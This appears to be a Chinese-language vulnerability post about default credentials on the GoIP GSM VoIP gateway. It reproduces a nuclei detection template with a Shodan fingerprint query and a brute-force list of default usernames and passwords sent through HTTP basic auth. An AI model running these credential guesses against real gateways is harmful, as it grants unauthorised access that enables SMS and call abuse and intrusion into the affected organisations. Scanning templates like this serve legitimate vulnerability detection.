GoIP GSM VoIP Gateway Default Password Vulnerability

漏洞信息

漏洞名称: GoIP GSM VoIP Gateway Default Password Vulnerability

漏洞类型: 弱口令

漏洞等级: 高危

漏洞描述: GoIP GSM VoIP网关是一种用于将GSM信号转换为VoIP信号的设备,广泛应用于企业和通信服务提供商中,以实现低成本的长途和国际通信。该设备默认存在弱口令漏洞,攻击者可以利用默认的用户名和密码(如admin/admin、root/root等)轻易登录系统。这一漏洞的根源在于设备出厂时未强制要求用户更改默认凭证,导致未授权访问风险。成功利用此漏洞的攻击者可以发送和接收短信、拨打电话,甚至可能进一步利用设备进行更复杂的攻击,如发起拒绝服务攻击或作为跳板进行内网渗透。由于该漏洞不需要任何认证即可利用,且存在公开的利用脚本,因此对使用该设备的组织构成了严重的安全威胁。

产品厂商: dbltek

产品名称: GoIP GSM VoIP Gateway

搜索语法: HTTP/1.0 401 Please Authenticate\r\nWWW-Authenticate: Basic realm=”Please Login”

来源: https://github.com/projectdiscovery/nuclei-templates/blob/d694ffeb6baa526904249ded765790e5726c0b03/http%2Fdefault-logins%2Fgoip-default-login.yaml

类型: projectdiscovery/nuclei-templates:github issues

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id: goip-default-login

info:
name: GoIP GSM VoIP Gateway - Default Password
author: drfabiocastro
severity: high
description: |
GoIP GSM VoIP Gateway Default Password, Allows attackers to send, receive sms and calls.
reference:
- http://en.dbltek.com/
- https://medium.com/@hackatnow/how-to-create-a-python-script-to-find-goip-gsm-gateway-on-shodan-and-send-sms-ussd-via-goip-e2e203f5d339
- https://www.voip-systems.ru/assets/files/voip/voip-gsm/User_Manual_1_4_8_16.pdf
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
cvss-score: 8.3
cwe-id: CWE-522
metadata:
max-request: 13
shodan-query: 'HTTP/1.0 401 Please Authenticate\r\nWWW-Authenticate: Basic realm="Please Login"'
tags: default-login,goip,gsm

flow: http(1) && http(2)

http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}

matchers:
- type: word
words:
- "GoIP"
- "Please Authenticate"
condition: or
internal: true

- raw:
- raw:
- |
GET /default/en_US/status.html HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(username + ':' + password)}}

attack: clusterbomb
payloads:
username:
- admin
- root
- sms
- user
password:
- admin
- root
- 1234
host-redirects: true
max-redirects: 2

matchers-condition: and
matchers:
- type: word
words:
- "Status"
- "GoIP"
- "Summary"
- "Logout"
condition: and

- type: status
status:
- 200
# digest: 490a00463044022066e4d586e7849060bbdc9bb5df174185d1bef411797037030f996f5b3f740ede02207169913d45f63abd4409a25f41256168f5eb176ea7be72e8806b97b0ea4e22dd:922c64590222798bb761d5b6d8e72950


GoIP GSM VoIP Gateway Default Password Vulnerability
http://example.com/2025/07/21/github_656852292/
作者
lianccc
发布于
2025年7月21日
许可协议